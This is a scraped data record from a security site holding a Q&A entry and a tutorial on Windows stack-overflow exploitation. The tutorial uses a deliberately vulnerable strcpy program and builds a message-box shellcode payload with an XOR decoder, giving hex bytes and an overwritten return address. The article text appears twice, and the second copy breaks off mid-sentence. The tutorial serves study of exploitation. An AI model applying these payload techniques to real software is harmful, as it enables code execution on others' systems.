[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fJGM4D_u8pgWlXh2Ox9AbcndwgnFQac0KLsUsiajAg-I":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":51,"_status":50},361,"Why does the `strcpy` function cause problems when delivering shellcode, and what solution is applied in the article?","The `strcpy` function stops copying when it encounters a null byte (0x00), so if the shellcode contains null bytes, only part of it is copied into the buffer, preventing proper exploitation. To avoid this, the author XOR-encrypts the shellcode byte‑by‑byte (e.g., with 0x44) and prepends a small decoder that decrypts the shellcode at runtime, stopping when it hits a 0x90 byte. This technique is a common shellcode optimization to bypass null‑byte restrictions.","\u003Cp>The `strcpy` function stops copying when it encounters a null byte (0x00), so if the shellcode contains null bytes, only part of it is copied into the buffer, preventing proper exploitation. To avoid this, the author XOR-encrypts the shellcode byte‑by‑byte (e.g., with 0x44) and prepends a small decoder that decrypts the shellcode at runtime, stopping when it hits a 0x90 byte. This technique is a common shellcode optimization to bypass null‑byte restrictions.\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fwindows-shellcode-study-notes-exploitation-and-optimization-of-shellcode-in-stack-overflow\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","why-does-the-strcpy-function-cause-problems-when-delivering-shellcode-and-what-s-1777483998090","strcpy null byte truncation, shellcode encoding, XOR encryption, decoder",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},91,"Windows Shellcode Study Notes: Exploitation and Optimization of Shellcode in Stack Overflow","windows-shellcode-study-notes-exploitation-and-optimization-of-shellcode-in-stack-overflow","Learn Windows shellcode exploitation in stack overflow scenarios. Covers buffer overflow principles, shellcode optimization, and practical exploitation techniques for security analysis.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In 'Windows Shellcode Study Notes: Extraction and Testing of Shellcode', it introduced how to perform preliminary optimization on shellcode, dynamically obtain Windows API addresses and call them, and implement automatic extraction of machine code as shellcode and save it to a file through a program.\u003C\u002Fp>\u003Cp>The bin file of the pop-up example shellcode has been uploaded to GitHub, with the address as follows:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>shellcode.bin is generated by getshellcode.cpp\u003C\u002Fp>\u003Cp>The address of getshellcode.cpp is as follows:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>Next, we will study the usage and optimization techniques of shellcode in specific environments.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Starting with the most basic buffer overflow\u003C\u002Fp>\u003Cp>This article will combine the 'Stack Overflow Principles and Practice' chapter from '0day Security: Software Vulnerability Analysis Technology', using the stack overflow code from it as a sample, to optimize our own generated pop-up example shellcode and achieve preliminary exploitation in stack overflow.\u003C\u002Fp>\u003Ch2>0x02 Related Concepts\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Stack Area:\u003C\u002Fh3>\u003Cp>Used to dynamically store the calling relationships between functions, ensuring that the called function returns to the calling function and continues execution.\u003C\u002Fp>\u003Ch3>Special Registers:\u003C\u002Fh3>\u003Cp>ESP: Stack Pointer Register (extended stack pointer), points to the top of the stack.\u003C\u002Fp>\u003Cp>EBP: Base Pointer Register (extended base pointer), points to the bottom of the stack.\u003C\u002Fp>\u003Cp>EIP: Instruction Pointer Register (extended instruction pointer), points to the address of the next instruction to be executed.\u003C\u002Fp>\u003Cp>\u003Cstrong>Function Code Storage Order in the Stack (intuitive understanding, other details omitted):\u003C\u002Fstrong>\u003C\u002Fp>\u003Cul>\u003Cli>buffer\u003C\u002Fli>\u003Cli>Previous Stack Frame EBP\u003C\u002Fli>\u003Cli>Return Address\u003C\u002Fli>\u003Cli>ESP\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Principle of Function Stack Overflow (intuitive understanding, other details omitted):\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Normally, during the function return process, the content saved in the return address is executed last, typically jumping to the address of the next instruction.\u003C\u002Fp>\u003Cp>If the buffer length is too long, long enough to overwrite the return address value, then when the function returns, it will execute the overwritten content.\u003C\u002Fp>\u003Cp>If shellcode is saved in the buffer and the overwritten return address is the starting address of the shellcode, then the shellcode will be executed, completing the exploitation of the stack overflow.\u003C\u002Fp>\u003Ch2>0x03 Stack Overflow Example Test\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Sample code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cstdio.h>\u003Cbr>#include \u003Cwindows.h>\u003Cbr>#define PASSWORD \"1234567\"\u003Cbr>\u003Cbr>int verify_password (char *password)\u003Cbr>{\u003Cbr>\tint authenticated;\u003Cbr>\tchar buffer[44];\u003Cbr>\tauthenticated=strcmp(password,PASSWORD);\u003Cbr>\tstrcpy(buffer,password);\u003Cbr>\treturn authenticated;\u003Cbr>}\u003Cbr>\u003Cbr>int main()\u003Cbr>{\u003Cbr>\tint valid_flag=0;\u003Cbr>\tchar password[1024];\u003Cbr>\tFILE *fp;\u003Cbr>\tLoadLibrary(\"user32.dll\");\u003Cbr>\tif(!(fp=fopen(\"password.txt\",\"rw+\")))\u003Cbr>\t\treturn 0;\u003Cbr>\tfread(password,56,1,fp);\u003Cbr>\tvalid_flag=verify_password(password);\u003Cbr>\tif(valid_flag)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"wrong\\n\");\u003Cbr>\t}\u003Cbr>\telse\u003Cbr>\t{\u003Cbr>\t\tprintf(\"right\\n\");\t\u003Cbr>\t}\u003Cbr>\tfclose(fp);\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fwindows.h>\u003C\u002Fstdio.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The code is selected from the experimental code in section 2.4.2, with minor adjustments.\u003C\u002Fp>\u003Cp>Among them,\u003C\u002Fp>\u003Cp>fscanf(fp,\"%s\",password) terminates when encountering spaces and newline characters. If the shellcode contains spaces (0x20), it will be truncated, resulting in incomplete file reading.\u003C\u002Fp>\u003Cp>Therefore, it is replaced with fread(password,56,1,fp);\u003C\u002Fp>\u003Cp>The array password has a length of 56, and the array buffer has a length of 44. When executing strcpy(buffer,password);, a stack overflow occurs.\u003C\u002Fp>\u003Cp>According to the principle of function stack overflow, achieving stack overflow requires the following process:\u003C\u002Fp>\u003Cp>(1) Analyze and debug the program to obtain the offset for overwriting the return address.\u003C\u002Fp>\u003Cp>(2) Obtain the starting address of the buffer, overwrite the return address based on the obtained offset, causing the code stored at the buffer's starting address to execute upon function return\u003C\u002Fp>\u003Cp>(3) Extract the machine code for the pop-up operation and save it at the starting address of the buffer, to be executed upon function return\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Test system: Win XP\u003Cbr>\u003Cbr>Compiler: VC6.0\u003Cbr>\u003Cbr>Build version: debug version\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>(1) Analyze and debug the program to obtain the offset for overwriting the return address\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Fill 56 test characters in password.txt, open the program with OllyDbg, locate the function return address\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018757251_0_de97ced364.png\">\u003C\u002Fp>\u003Cp>Return address is exactly overwritten\u003C\u002Fp>\u003Cp>\u003Cstrong>(2) Obtain the starting address of the buffer and overwrite the return address\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018774851_1_a6d204685d.png\">\u003C\u002Fp>\u003Cp>Obtain the starting address of the buffer: 0012FB7C\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The starting address of the buffer varies across different systems.\u003C\u002Fp>\u003Cp>Overwrite the return address with 0012FB7C, meaning the hexadecimal characters at positions 53-56 in password.txt are 7CFB1200 (saved in reverse order).\u003C\u002Fp>\u003Cp>\u003Cstrong>(3) Extract the machine code for the pop-up operation.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Following the method in \"0day Security: Software Vulnerability Analysis Techniques,\" use Dependency Walker to obtain the base address of user32.dll as 0x77D10000.\u003C\u002Fp>\u003Cp>The offset address of MessageBoxA is 0x000407EA.\u003C\u002Fp>\u003Cp>As shown in the figure.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018787556_2_3aa06e4af6.png\">\u003C\u002Fp>\u003Cp>Thus, the entry address of MessageBoxA in memory on this system is 0x77D10000 + 0x000407EA = 0x77D507EA.\u003C\u002Fp>\u003Cp>Replace the machine code corresponding to the entry address of MessageBoxA in the book.\u003C\u002Fp>\u003Cp>The final content of password.txt is as follows (hexadecimal view):\u003C\u002Fp>\u003Cp>00000000h: 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 ; 3跾hwesthfail嬆S\u003C\u002Fp>\u003Cp>00000010h: 50 50 53 B8 EA 07 D5 77 FF D0 90 90 90 90 90 90 ; PPS戈.誻袗悙悙?\u003C\u002Fp>\u003Cp>00000020h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙\u003C\u002Fp>\u003Cp>00000030h: 90 90 90 90 7C FB 12 00                         ; 悙悙|?.\u003C\u002Fp>\u003Cp>The final program runs as shown in the figure, with stack overflow successfully triggered on our test system.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018801001_3_dfcea066d1.png\">\u003C\u002Fp>\u003Ch2>0x03 Optimization of MessageBox Shellcode in Stack Overflow\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The previous section briefly introduced the principles and operation methods of the stack overflow example. This section will explain how to optimize our self-developed shellcode, specifically the MessageBox shellcode example, and achieve exploitation by combining it with specific vulnerabilities.\u003C\u002Fp>\u003Cp>Download link for the MessageBox shellcode example:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>Shellcode length: 1536\u003C\u002Fp>\u003Cp>\u003Cstrong>(1) Modify the example program so that its array is sufficient to store our shellcode\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Complete code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cstdio.h>\u003Cbr>#include \u003Cwindows.h>\u003Cbr>#define PASSWORD \"1234567\"\u003Cbr>\u003Cbr>int verify_password (char *password)\u003Cbr>{\u003Cbr>\tint authenticated;\u003Cbr>\tchar buffer[1556];\u003Cbr>\tauthenticated = strcmp(password, PASSWORD);\u003Cbr>\tstrcpy(buffer, password);\u003Cbr>\treturn authenticated;\u003Cbr>}\u003Cbr>\u003Cbr>int main()\u003Cbr>{\u003Cbr>\tint valid_flag = 0;\u003Cbr>\tchar password[2048] = {0};\u003Cbr>\tFILE *fp;\u003Cbr>\tif (!(fp = fopen(\"password2.txt\", \"rb\")))\u003Cbr>\t\treturn 0;\u003Cbr>\tfread(password, 1568, 1, fp);\u003Cbr>\tvalid_flag = verify_password(password);\u003Cbr>\tif (valid_flag)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"wrong\\n\");\u003Cbr>\t}\u003Cbr>\telse\u003Cbr>\t{\u003Cbr>\t\tprintf(\"right\\n\");\u003Cbr>\t}\u003Cbr>\tfclose(fp);\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fwindows.h>\u003C\u002Fstdio.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Buffer length increased to 1556 to store the popup instance shellcode\u003C\u002Fp>\u003Cp>Based on the previous example, the offset for overwriting the return address is 9-12, so the password length is increased to 1556+12=1568\u003C\u002Fp>\u003Cp>\u003Cstrong>(2) strcpy truncates when encountering character 00\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018807892_4_2afaea7349.png\">\u003C\u002Fp>\u003Cp>The shellcode instance in the pop-up has a character 0x00 at address 00000009h. When strcpy executes, encountering 0x00 causes premature truncation, resulting in incomplete shellcode that cannot overwrite the return address.\u003C\u002Fp>\u003Cp>Therefore, the shellcode needs to be encoded.\u003C\u002Fp>\u003Cp>For the reader's convenience, following the method in Section 3.5.2 of '0day Security: Software Vulnerability Analysis Technology' (this section provides detailed explanations, so the process is not reiterated here):\u003C\u002Fp>\u003Cul>\u003Cli>Add the termination character 0x90 to the end of the shellcode.\u003C\u002Fli>\u003Cli>Encrypt the shellcode byte by byte using XOR with 0x44.\u003C\u002Fli>\u003Cli>Assemble the decoder and extract the machine code.\u003C\u002Fli>\u003Cli>Place the decoder's machine code at the beginning of the shellcode.\u003C\u002Fli>\u003Cli>The decoder aligns EAX to the starting position of the shellcode, decrypts byte by byte using XOR with 0x44, and stops upon encountering 0x90.\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The assembly code for the decoder is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>void main()\u003Cbr>{\u003Cbr>\t__asm\u003Cbr>\t{\u003Cbr>\t\tadd eax,0x14\u003Cbr>\t\txor ecx,ecx\u003Cbr>decode_loop:\u003Cbr>\t\tmov bl,[eax+ecx]\u003Cbr>\t\txor bl,0x44\u003Cbr>\t\tmov [eax+ecx],bl\u003Cbr>\t\tinc ecx\u003Cbr>\t\tcmp bl,0x90\u003Cbr>\t\tjne decode_loop\u003Cbr>\t}\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Using OllyDbg, the extracted machine code is as follows:\u003C\u002Fp>\u003Cp>\"\\x83\\xC0\\x14\\x33\\xC9\\x8A\\x1C\\x08\\x80\\xF3\\x44\\x88\\x1C\\x08\\x41\\x80\\xFB\\x90\\x75\\xF1\"\u003C\u002Fp>\u003Cp>The new shellcode format is as follows:\u003C\u002Fp>\u003Cp>Decoder machine code + Encrypted message box example shellcode + 0xD4 + \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" + \"\\x7C\\xFB\\x12\\x00\"\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>0x90 ^ 0x44 = 0xD4, where 0xD4 is the encoded end character\u003C\u002Fp>\u003Cp>\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" is a padding string with no meaning\u003C\u002Fp>\u003Cp>\"\\x7C\\xFB\\x12\\x00\" is the overwritten function return address\u003C\u002Fp>\u003Cp>\u003Cstrong>(3) 0xD4 conflict\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018815356_5_f07b98ea5f.png\">\u003C\u002Fp>\u003Cp>The popup example shellcode also contains the termination character 0xD4, which would cause premature truncation during decryption, so a new termination character needs to be selected\u003C\u002Fp>\u003Cp>Alternatively, the shellcode can be encrypted in segments. For this specific shellcode, 0xD5 happens to be absent, so 0xD5 is used as the termination string, with the decryption character being 0x91\u003C\u002Fp>\u003Cp>The modified machine code is as follows:\u003C\u002Fp>\u003Cp>\"\\x83\\xC0\\x14\\x33\\xC9\\x8A\\x1C\\x08\\x80\\xF3\\x44\\x88\\x1C\\x08\\x41\\x80\\xFB\\x91\\x75\\xF1\"\u003C\u002Fp>\u003Cp>The modified shellcode format is as follows:\u003C\u002Fp>\u003Cp>Decoder machine code + encrypted popup example shellcode + 0xD5 + \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" + \"\\x7C\\xFB\\x12\\x00\"\u003C\u002Fp>\u003Cp>\u003Cstrong>(4) Shellcode encoding test\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Write a program to automatically read the original shellcode, encrypt it, add decryption machine code, and append the termination character\u003C\u002Fp>\u003Cp>The program has been uploaded to GitHub\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>After execution as shown, a new shellcode file is generated, and C-format shellcode is output to the screen\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018822373_6_ce9f2cd85c.png\">\u003C\u002Fp>\u003Cp>Using the following code, combined with the C-format shellcode output on screen, replace the array content to test the new encrypted shellcode\u003C\u002Fp>\u003Cp>Due to the lengthy code, it has been uploaded to GitHub at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>As shown, the shellcode executes successfully, achieving the decoder\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018828308_7_fecad0fa8c.png\">\u003C\u002Fp>\u003Cp>\u003Cstrong>(5) Testing the new shellcode in stack overflow\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Fill in the decoder machine code, the complete shellcode format is as follows:\u003C\u002Fp>\u003Cp>\"\\x83\\xC0\\x14\\x33\\xC9\\x8A\\x1C\\x08\\x80\\xF3\\x44\\x88\\x1C\\x08\\x41\\x80\\xFB\\x91\\x75\\xF1\"+encrypted pop-up example shellcode+0xD5+\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"+\"\\x7C\\xFB\\x12\\x00\"\u003C\u002Fp>\u003Cp>Still encountering errors in the stack overflow test program, use OllyDbg to load and continue debugging\u003C\u002Fp>\u003Cp>As shown below, successfully overwriting the function return address, then press F8 for single-step debugging\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018832618_8_53fedff336.png\">\u003C\u002Fp>\u003Cp>As shown below, an exception is discovered at this point: the EAX register value is 909090D5. Normally, EAX should hold the starting address of the Buffer to successfully locate and decrypt the shellcode\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018835823_9_cfefe20b3e.png\">\u003C\u002Fp>\u003Cp>However, the register EDX holds the starting address of the buffer\u003C\u002Fp>\u003Cp>Therefore, we need to modify the decoder\u003C\u002Fp>\u003Cp>\u003Cstrong>(6) Modify the decoder\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Choose the simplest and most direct method: align EDX to the starting position of the shellcode. The implemented assembly code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>void main()\u003Cbr>{\u003Cbr>\t__asm\u003Cbr>\t{\u003Cbr>\t\tadd edx,0x14\u003Cbr>\t\txor ecx,ecx\u003Cbr>decode_loop:\u003Cbr>\t\tmov bl,[edx+ecx]\u003Cbr>\t\txor bl,0x44\u003Cbr>\t\tmov [edx+ecx],bl\u003Cbr>\t\tinc ecx\u003Cbr>\t\tcmp bl,0x90\u003Cbr>\t\tjne decode_loop\u003Cbr>\u003Cbr>\t}\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Load the program in OllyDbg and extract the machine code, as shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018837091_10_0e10106bda.png\">\u003C\u002Fp>\u003Cp>The new decoder machine code is:\u003C\u002Fp>\u003Cp>\"\\x83\\xC2\\x14\\x33\\xC9\\x8A\\x1C\\x0A\\x80\\xF3\\x44\\x88\\x1C\\x0A\\x41\\x80\\xFB\\x91\\x75\\xF1\"\u003C\u002Fp>\u003Cp>The final shellcode is:\u003C\u002Fp>\u003Cp>\"\\x83\\xC2\\x14\\x33\\xC9\\x8A\\x1C\\x0A\\x80\\xF3\\x44\\x88\\x1C\\x0A\\x41\\x80\\xFB\\x91\\x75\\xF1\"+encrypted message box example shellcode+0xD5+\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"+\"\\x7C\\xFB\\x12\\x00\"\u003C\u002Fp>\u003Cp>The complete shellcode has been uploaded to GitHub at:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>Test the stack overflow again, as shown in the figure, the shellcode executes successfully\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018837781_11_9cd2d4fd43.png\">\u003C\u002Fp>\u003Cp>Since the shellcode implements dynamic API address retrieval on its own, the LoadLibrary(\"user32.dll\"); in the stack overflow test program can be omitted\u003C\u002Fp>\u003Ch2>0x04 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article provides a brief description of the principles of stack overflow, focusing on the optimization, debugging, and exploitation techniques of shellcode in specific stack overflow environments.\u003C\u002Fp>\u003Cp>Of course, the aforementioned shellcode has a drawback: the starting address of the shellcode in memory is often not fixed, which may lead to unsuccessful vulnerability exploitation.\u003C\u002Fp>\u003Cp>The next article will address this issue.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In 'Windows Shellcode Study Notes: Extraction and Testing of Shellcode', it introduced how to perform preliminary optimization on shellcode, dynamically obtain Windows API addresses and call them, and implement automatic extraction of machine code as shellcode and save it to a file through a program.\u003C\u002Fp>\u003Cp>The bin file of the pop-up example shellcode has been uploaded to GitHub, with the address as follows:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>shellcode.bin is generated by getshellcode.cpp\u003C\u002Fp>\u003Cp>The address of getshellcode.cpp is as follows:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>Next, we will study the usage and optimization techniques of shellcode in specific environments.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Starting with the most basic buffer overflow\u003C\u002Fp>\u003Cp>This article will combine the 'Stack Overflow Principles and Practice' chapter from '0day Security: Software Vulnerability Analysis Technology', using the stack overflow code from it as a sample, to optimize our own generated pop-up example shellcode and achieve preliminary exploitation in stack overflow.\u003C\u002Fp>\u003Ch2>0x02 Related Concepts\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Stack Area:\u003C\u002Fh3>\u003Cp>Used to dynamically store the calling relationships between functions, ensuring that the called function returns to the calling function and continues execution.\u003C\u002Fp>\u003Ch3>Special Registers:\u003C\u002Fh3>\u003Cp>ESP: Stack Pointer Register (extended stack pointer), points to the top of the stack.\u003C\u002Fp>\u003Cp>EBP: Base Pointer Register (extended base pointer), points to the bottom of the stack.\u003C\u002Fp>\u003Cp>EIP: Instruction Pointer Register (extended instruction pointer), points to the address of the next instruction to be executed.\u003C\u002Fp>\u003Cp>\u003Cstrong>Function Code Storage Order in the Stack (intuitive understanding, other details omitted):\u003C\u002Fstrong>\u003C\u002Fp>\u003Cul>\u003Cli>buffer\u003C\u002Fli>\u003Cli>Previous Stack Frame EBP\u003C\u002Fli>\u003Cli>Return Address\u003C\u002Fli>\u003Cli>ESP\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Principle of Function Stack Overflow (intuitive understanding, other details omitted):\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Normally, during the function return process, the content saved in the return address is executed last, typically jumping to the address of the next instruction.\u003C\u002Fp>\u003Cp>If the buffer length is too long, long enough to overwrite the return address value, then when the function returns, it will execute the overwritten content.\u003C\u002Fp>\u003Cp>If shellcode is saved in the buffer and the overwritten return address is the starting address of the shellcode, then the shellcode will be executed, completing the exploitation of the stack overflow.\u003C\u002Fp>\u003Ch2>0x03 Stack Overflow Example Test\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Sample code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cstdio.h>\u003Cbr>#include \u003Cwindows.h>\u003Cbr>#define PASSWORD \"1234567\"\u003Cbr>\u003Cbr>int verify_password (char *password)\u003Cbr>{\u003Cbr>\tint authenticated;\u003Cbr>\tchar buffer[44];\u003Cbr>\tauthenticated=strcmp(password,PASSWORD);\u003Cbr>\tstrcpy(buffer,password);\u003Cbr>\treturn authenticated;\u003Cbr>}\u003Cbr>\u003Cbr>int main()\u003Cbr>{\u003Cbr>\tint valid_flag=0;\u003Cbr>\tchar password[1024];\u003Cbr>\tFILE *fp;\u003Cbr>\tLoadLibrary(\"user32.dll\");\u003Cbr>\tif(!(fp=fopen(\"password.txt\",\"rw+\")))\u003Cbr>\t\treturn 0;\u003Cbr>\tfread(password,56,1,fp);\u003Cbr>\tvalid_flag=verify_password(password);\u003Cbr>\tif(valid_flag)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"wrong\\n\");\u003Cbr>\t}\u003Cbr>\telse\u003Cbr>\t{\u003Cbr>\t\tprintf(\"right\\n\");\t\u003Cbr>\t}\u003Cbr>\tfclose(fp);\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fwindows.h>\u003C\u002Fstdio.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The code is selected from the experimental code in section 2.4.2, with minor adjustments.\u003C\u002Fp>\u003Cp>Among them,\u003C\u002Fp>\u003Cp>fscanf(fp,\"%s\",password) terminates when encountering spaces and newline characters. If the shellcode contains spaces (0x20), it will be truncated, resulting in incomplete file reading.\u003C\u002Fp>\u003Cp>Therefore, it is replaced with fread(password,56,1,fp);\u003C\u002Fp>\u003Cp>The array password has a length of 56, and the array buffer has a length of 44. When executing strcpy(buffer,password);, a stack overflow occurs.\u003C\u002Fp>\u003Cp>According to the principle of function stack overflow, achieving stack overflow requires the following process:\u003C\u002Fp>\u003Cp>(1) Analyze and debug the program to obtain the offset for overwriting the return address.\u003C\u002Fp>\u003Cp>(2) Obtain the starting address of the buffer, overwrite the return address based on the obtained offset, causing the code stored at the buffer's starting address to execute upon function return\u003C\u002Fp>\u003Cp>(3) Extract the machine code for the pop-up operation and save it at the starting address of the buffer, to be executed upon function return\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Test system: Win XP\u003Cbr>\u003Cbr>Compiler: VC6.0\u003Cbr>\u003Cbr>Build version: debug version\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>(1) Analyze and debug the program to obtain the offset for overwriting the return address\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Fill 56 test characters in password.txt, open the program with OllyDbg, locate the function return address\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018757251_0_de97ced364-1.png\">\u003C\u002Fp>\u003Cp>Return address is exactly overwritten\u003C\u002Fp>\u003Cp>\u003Cstrong>(2) Obtain the starting address of the buffer and overwrite the return address\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018774851_1_a6d204685d-1.png\">\u003C\u002Fp>\u003Cp>Obtain the starting address of the buffer: 0012FB7C\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The starting address of the buffer varies across different systems.\u003C\u002Fp>\u003Cp>Overwrite the return address with 0012FB7C, meaning the hexadecimal characters at positions 53-56 in password.txt are 7CFB1200 (saved in reverse order).\u003C\u002Fp>\u003Cp>\u003Cstrong>(3) Extract the machine code for the pop-up operation.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Following the method in \"0day Security: Software Vulnerability Analysis Techniques,\" use Dependency Walker to obtain the base address of user32.dll as 0x77D10000.\u003C\u002Fp>\u003Cp>The offset address of MessageBoxA 